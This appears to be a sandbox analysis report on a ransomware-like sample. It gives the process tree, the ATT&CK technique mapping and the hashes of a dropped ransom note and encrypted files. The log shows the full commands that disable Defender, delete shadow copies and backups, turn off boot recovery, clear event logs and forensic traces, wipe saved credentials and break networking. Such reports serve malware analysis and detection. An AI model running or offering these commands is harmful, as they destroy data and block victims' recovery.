  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -MAPSReporting 0 -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\' -ExclusionPath 'D:\' -ExclusionPath 'E:\'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2840
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:1644
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5592
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3040
- C:\Windows\system32\sc.exe
  "sc" stop vss
  2⤵
  - Launches sc.exe
  PID:5904
- C:\Windows\system32\sc.exe
  "sc" stop sql
  2⤵
  - Launches sc.exe
  PID:848
- C:\Windows\system32\sc.exe
  "sc" stop svc$
  2⤵
  - Launches sc.exe
  PID:3892
- C:\Windows\system32\sc.exe
  "sc" stop memtas
  2⤵
  - Launches sc.exe
  PID:1980
- C:\Windows\system32\sc.exe
  "sc" stop mepocs
  2⤵
  - Launches sc.exe
  PID:6112
- C:\Windows\system32\sc.exe
  "sc" stop veeam
  2⤵
  - Launches sc.exe
  PID:1928
- C:\Windows\system32\sc.exe
  "sc" stop backup
  2⤵
  - Launches sc.exe
  PID:5080
- C:\Windows\system32\sc.exe
  "sc" stop GxVss
  2⤵
  - Launches sc.exe
  PID:936
- C:\Windows\system32\sc.exe
  "sc" stop GxBlr
  2⤵
  - Launches sc.exe
  PID:2120
- C:\Windows\system32\sc.exe
  "sc" stop GxFWD
  2⤵
  - Launches sc.exe
  PID:5500
- C:\Windows\system32\sc.exe
  "sc" stop GxCVD
  2⤵
  - Launches sc.exe
  PID:4772
- C:\Windows\system32\sc.exe
  "sc" stop GxCIMgr
  2⤵
  - Launches sc.exe
  PID:5368
- C:\Windows\system32\cmd.exe
  "cmd" /C "vssadmin delete shadows /all /quiet"
  2⤵
  - Executes a command shell one-liner
  PID:1832
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3764
- C:\Windows\system32\cmd.exe
  "cmd" /C "bcdedit /set {default} recoveryenabled No"
  2⤵
  - Executes a command shell one-liner
  PID:4484
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5064
- C:\Windows\system32\cmd.exe
  "cmd" /C "wbadmin delete systemstatebackup -keepVersions:0 -quiet"
  2⤵
  PID:4788
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete systemstatebackup -keepVersions:0 -quiet
    3⤵
    - Deletes System State backups
    - Drops file in Windows directory
    PID:2844
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q C:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:2064
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q D:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:1528
- C:\Windows\system32\cmd.exe
  "cmd" /C "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
  2⤵
  - Executes a command shell one-liner
  PID:2880
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:200
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q E:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:1668
- C:\Windows\system32\cmd.exe
  "cmd" /C "wbadmin delete backup -keepVersions:0 -quiet"
  2⤵
  PID:6140
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete backup -keepVersions:0 -quiet
    3⤵
    - Deletes system backups
    - Drops file in Windows directory
    PID:4128
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q F:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:1644
- C:\Windows\system32\cmd.exe
  "cmd" /C "wmic shadowcopy delete /nointeractive"
  2⤵
  - Executes a command shell one-liner
  PID:1908
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2064
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q G:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Disable-ComputerRestore -Drive \"C:\\\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2948
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q H:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:4684
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q I:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:6816
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q J:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:6880
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q K:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:6968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_.Delete() }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:7016
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q L:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:7072
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q M:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:5500
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q N:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:4580
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q O:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:2344
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q P:\$Recycle.Bin"
  2⤵
  PID:1100
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q Q:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:2852
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q R:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:848
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q S:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:6164
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q T:\$Recycle.Bin"
  2⤵
  PID:6320
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q U:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:6548
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q V:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:2360
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q W:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:5808
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q X:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:4772
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q Y:\$Recycle.Bin"
  2⤵
  - Executes a command shell one-liner
  PID:5720
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q Z:\$Recycle.Bin"
  2⤵
  PID:3852
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3624
- C:\Windows\system32\cmd.exe
  "cmd" /C "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\""
  2⤵
  - Executes a command shell one-liner
  PID:6724
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D C:"
  2⤵
  - Executes a command shell one-liner
  PID:6732
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Remove-Item (Get-PSReadLineOption).HistorySavePath -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3108
- C:\Windows\system32\reg.exe
  "reg" delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /v AppCompatCache /f
  2⤵
  PID:756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Stop-Service -Name 'PcaSvc' -Force -ErrorAction SilentlyContinue; Remove-Item \"$env:SystemRoot\AppCompat\Programs\Amcache.hve*\" -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3024
- C:\Windows\system32\cmd.exe
  "cmd" /C "net stop DPS /y"
  2⤵
  PID:2988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4940
- - C:\Windows\system32\net.exe
    net stop DPS /y
    3⤵
    PID:2388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop DPS /y
      4⤵
      PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Get-ChildItem 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist' -Recurse -ErrorAction SilentlyContinue | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2336
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q \"C:\Users\Admin\AppData\Local\CrashDumps\""
  2⤵
  - Executes a command shell one-liner
  PID:5372
- C:\Windows\system32\cmd.exe
  "cmd" /C "net stop WSearch /y"
  2⤵
  - Executes a command shell one-liner
  PID:3148
- - C:\Windows\system32\net.exe
    net stop WSearch /y
    3⤵
    PID:1140
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSearch /y
      4⤵
      PID:6252
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q \"C:\ProgramData\Microsoft\Windows Defender\Scans\History\""
  2⤵
  - Executes a command shell one-liner
  PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Get-WinEvent -ListLog * -Force -ErrorAction SilentlyContinue | ForEach-Object { try { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) } catch {} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2456
- C:\Windows\system32\reg.exe
  "reg" delete HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings /f
  2⤵
  - Modifies registry key
  PID:2856
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q \"C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\""
  2⤵
  - Executes a command shell one-liner
  PID:4564
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D D:"
  2⤵
  - Executes a command shell one-liner
  PID:6200
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D D:
    3⤵
    - Deletes NTFS Change Journal
    PID:6408
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q \"C:\ProgramData\Microsoft\Windows\WER\""
  2⤵
  - Executes a command shell one-liner
  PID:6436
- C:\Windows\system32\cmd.exe
  "cmd" /C "rd /s /q \"C:\ProgramData\Microsoft\Search\Data\""
  2⤵
  - Executes a command shell one-liner
  PID:6492
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D E:"
  2⤵
  - Executes a command shell one-liner
  PID:6588
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D E:
    3⤵
    - Deletes NTFS Change Journal
    PID:6740
- C:\Windows\system32\reg.exe
  "reg" delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache" /f
  2⤵
  PID:6712
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D F:"
  2⤵
  - Executes a command shell one-liner
  PID:4876
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:
    3⤵
    - Deletes NTFS Change Journal
    PID:6888
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D G:"
  2⤵
  - Executes a command shell one-liner
  PID:5904
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D G:
    3⤵
    - Deletes NTFS Change Journal
    PID:7100
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D H:"
  2⤵
  - Executes a command shell one-liner
  PID:5368
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D H:
    3⤵
    - Deletes NTFS Change Journal
    PID:7152
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D I:"
  2⤵
  - Executes a command shell one-liner
  PID:1708
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7072
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D I:
    3⤵
    - Deletes NTFS Change Journal
    PID:4896
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D J:"
  2⤵
  - Executes a command shell one-liner
  PID:1460
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D J:
    3⤵
    - Deletes NTFS Change Journal
    PID:1532
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D K:"
  2⤵
  - Executes a command shell one-liner
  PID:1552
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D K:
    3⤵
    - Deletes NTFS Change Journal
    PID:4360
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D L:"
  2⤵
  - Executes a command shell one-liner
  PID:5960
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D L:
    3⤵
    - Deletes NTFS Change Journal
    PID:4140
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D M:"
  2⤵
  - Executes a command shell one-liner
  PID:2016
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2344
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:
    3⤵
    - Deletes NTFS Change Journal
    PID:1220
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D N:"
  2⤵
  - Executes a command shell one-liner
  PID:1100
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D N:
    3⤵
    - Deletes NTFS Change Journal
    PID:1272
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D O:"
  2⤵
  PID:7092
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D O:
    3⤵
    - Deletes NTFS Change Journal
    PID:3928
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D P:"
  2⤵
  - Executes a command shell one-liner
  PID:464
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D P:
    3⤵
    - Deletes NTFS Change Journal
    PID:7052
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D Q:"
  2⤵
  - Executes a command shell one-liner
  PID:7068
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D Q:
    3⤵
    - Deletes NTFS Change Journal
    PID:5712
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D R:"
  2⤵
  - Executes a command shell one-liner
  PID:5684
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D R:
    3⤵
    - Deletes NTFS Change Journal
    PID:6500
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D S:"
  2⤵
  - Executes a command shell one-liner
  PID:2204
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D S:
    3⤵
    - Deletes NTFS Change Journal
    PID:4400
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D T:"
  2⤵
  - Executes a command shell one-liner
  PID:6220
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D T:
    3⤵
    - Deletes NTFS Change Journal
    PID:6244
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D U:"
  2⤵
  - Executes a command shell one-liner
  PID:2468
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D U:
    3⤵
    - Deletes NTFS Change Journal
    PID:6604
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D V:"
  2⤵
  - Executes a command shell one-liner
  PID:3504
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3028
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D V:
    3⤵
    - Deletes NTFS Change Journal
    PID:2592
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D W:"
  2⤵
  - Executes a command shell one-liner
  PID:5436
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D W:
    3⤵
    - Deletes NTFS Change Journal
    PID:2228
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D X:"
  2⤵
  - Executes a command shell one-liner
  PID:4672
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1096
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D X:
    3⤵
    - Deletes NTFS Change Journal
    PID:5716
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D Y:"
  2⤵
  - Executes a command shell one-liner
  PID:4816
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D Y:
    3⤵
    - Deletes NTFS Change Journal
    PID:6724
- C:\Windows\system32\cmd.exe
  "cmd" /C "fsutil usn deletejournal /D Z:"
  2⤵
  - Executes a command shell one-liner
  PID:6168
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D Z:
    3⤵
    - Deletes NTFS Change Journal
    PID:1928
- C:\Windows\system32\cmd.exe
  "cmd" /C "ipconfig /flushdns"
  2⤵
  - Executes a command shell one-liner
  PID:1960
- - C:\Windows\system32\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:4636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { Set-DnsClientServerAddress -InterfaceAlias $_.Name -ServerAddresses @('0.0.0.0','0.0.0.0') }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2088
- C:\Windows\system32\cmd.exe
  "cmd" /C "netsh wlan delete profile name=* i=*"
  2⤵
  - Executes a command shell one-liner
  PID:1940
- - C:\Windows\system32\netsh.exe
    netsh wlan delete profile name=* i=*
    3⤵
    PID:6020
- C:\Windows\system32\cmd.exe
  "cmd" /C "arp -d *"
  2⤵
  - Executes a command shell one-liner
  PID:6876
- - C:\Windows\system32\ARP.EXE
    arp -d *
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  "cmd" /C "netsh winsock reset"
  2⤵
  - Executes a command shell one-liner
  PID:7036
- - C:\Windows\system32\netsh.exe
    netsh winsock reset
    3⤵
    PID:7016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Get-NetAdapterBinding -ComponentID ms_tcpip6 -ErrorAction SilentlyContinue | Disable-NetAdapterBinding -ComponentID ms_tcpip6 -Confirm:$false -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "cmdkey /list 2>$null | Select-String 'Target:' | ForEach-Object { $t=($_ -split 'Target: ')[1].Trim(); cmdkey /delete:$t 2>$null }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1248
- - C:\Windows\system32\cmdkey.exe
    "C:\Windows\system32\cmdkey.exe" /list
    3⤵
    PID:3932
- - C:\Windows\system32\cmdkey.exe
    "C:\Windows\system32\cmdkey.exe" /delete:WindowsLive:target=virtualapp/didlogical
    3⤵
    PID:4976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name ProxyEnable -Value 1; Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name ProxyServer -Value '0.0.0.0:1'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3616
- C:\Windows\system32\cmd.exe
  "cmd" /C "ping 127.0.0.1 -n 3 > nul & del /f /q /a \"C:\Users\Admin\AppData\Local\Temp\0648d3257376051d.tmp\" & del /f /q \"C:\Users\Admin\AppData\Local\Temp\s.log\""
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6724
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2360
- C:\Windows\system32\reg.exe
  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v SystemCleanup /t REG_SZ /d "cmd /c del /f /q /a \"C:\Users\Admin\AppData\Local\Temp\0648d3257376051d.tmp\"" /f
  2⤵
  - Modifies registry key
  PID:6468
- C:\Windows\system32\reg.exe
  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v SystemRecover /t REG_SZ /d "cmd /c start \"\" \"C:\Users\Admin\Desktop\README.html\"" /f
  2⤵
  - Modifies registry key
  PID:5772
- C:\Windows\system32\shutdown.exe
  "shutdown" /r /t 8 /f
  2⤵
  PID:3716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Start-Sleep 7; Restart-Computer -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6924

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4452

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:6132

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1648

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:6904

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
PID:2796
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  PID:2032

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
PID:6264
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  PID:7156

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:1644

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:6556

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}
1⤵
PID:2840

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
PID:6284

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa396f055 /state1:0x41c64e6d
1⤵
PID:4528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:2036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

README.html

Path C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\README.html
Size 3KB
SHA256 9a6b93394ef5195354250ebd768b02f04b47e645949c09c35012cd6fc23776e9
MD5 30e62908838d39448ed61897903100e0
SHA1 241925f3dbed9ab1a9b350f4b4d22f14d59c5203
SHA512 40d776d5c47f62d72ec7563af3e3178e8f2675a869a5d4915df9844dc5eee4b331ea52ac975114806c68e884ddbc92f6a42422dcc5ddf493d7c543a65925ceaa
TLSH
T18B71C673A6451026F673D8F0B0717ACE7180E91AE05BCB64ECF2B56ACACA4EB1D1170C
MD5 SHA1 SHA512 TLSH

Submit Download

{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.70mtotz

Path C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.70mtotz
Size 297KB
SHA256 7fb9ec0289902737d88c93cd1cb1222ce36e77a2594263a9f7d7d7c0237a6e11
MD5 2a090a94ccf4c963a24596ef4ad24e5f
SHA1 93043f279a53664fdadb3e51f692c7659b786d8a
SHA512 7576f97e487ffc7b5f4e83545f3b64a94a9d4ba6820641b7cd2e1b12a8fe25eee86e8471c106c18d9e9f91d47d4c0e8b9b3c90cb5f1119a91f10a7c974e5935c
SSDEEP 3072:IIbx8K0D3uhiu6w2PKMFTT2TR42JttmMJxFuu:IICTW42J9F9
TLSH
T15C5423113AE917C5E6B34DF4557DEC8A5EE5783FCC2BE3EC119210C9046ED60B8B9A22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.70mtotz

Path C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.70mtotz
Size 639KB
SHA256 fffb2b755be503185f4544adc3aad76ae86783aac7a669a3084d83fe262c5565
MD5 0dccb11de24d5e35fd586a4081a15e1d
SHA1 8700f4111cee760c38110e9c71029626101f69aa
SHA512 8a94d93667220495204779e459131a2fe3f35945c3f36cecb59113738b188238a51f3e5851ec9adcb749fef41c35d91b1b3fb00bbf16b269f1e53ff6e81458a7
SSDEEP 3072:1jLZcV79+qXMDXLxvSRp+aTDCJ8/R/eZT6QchrQcoNs/r45u6hrv4xZXC3pF7:RJaTDCJ/fcC0Uu6h0P8pR
TLSH
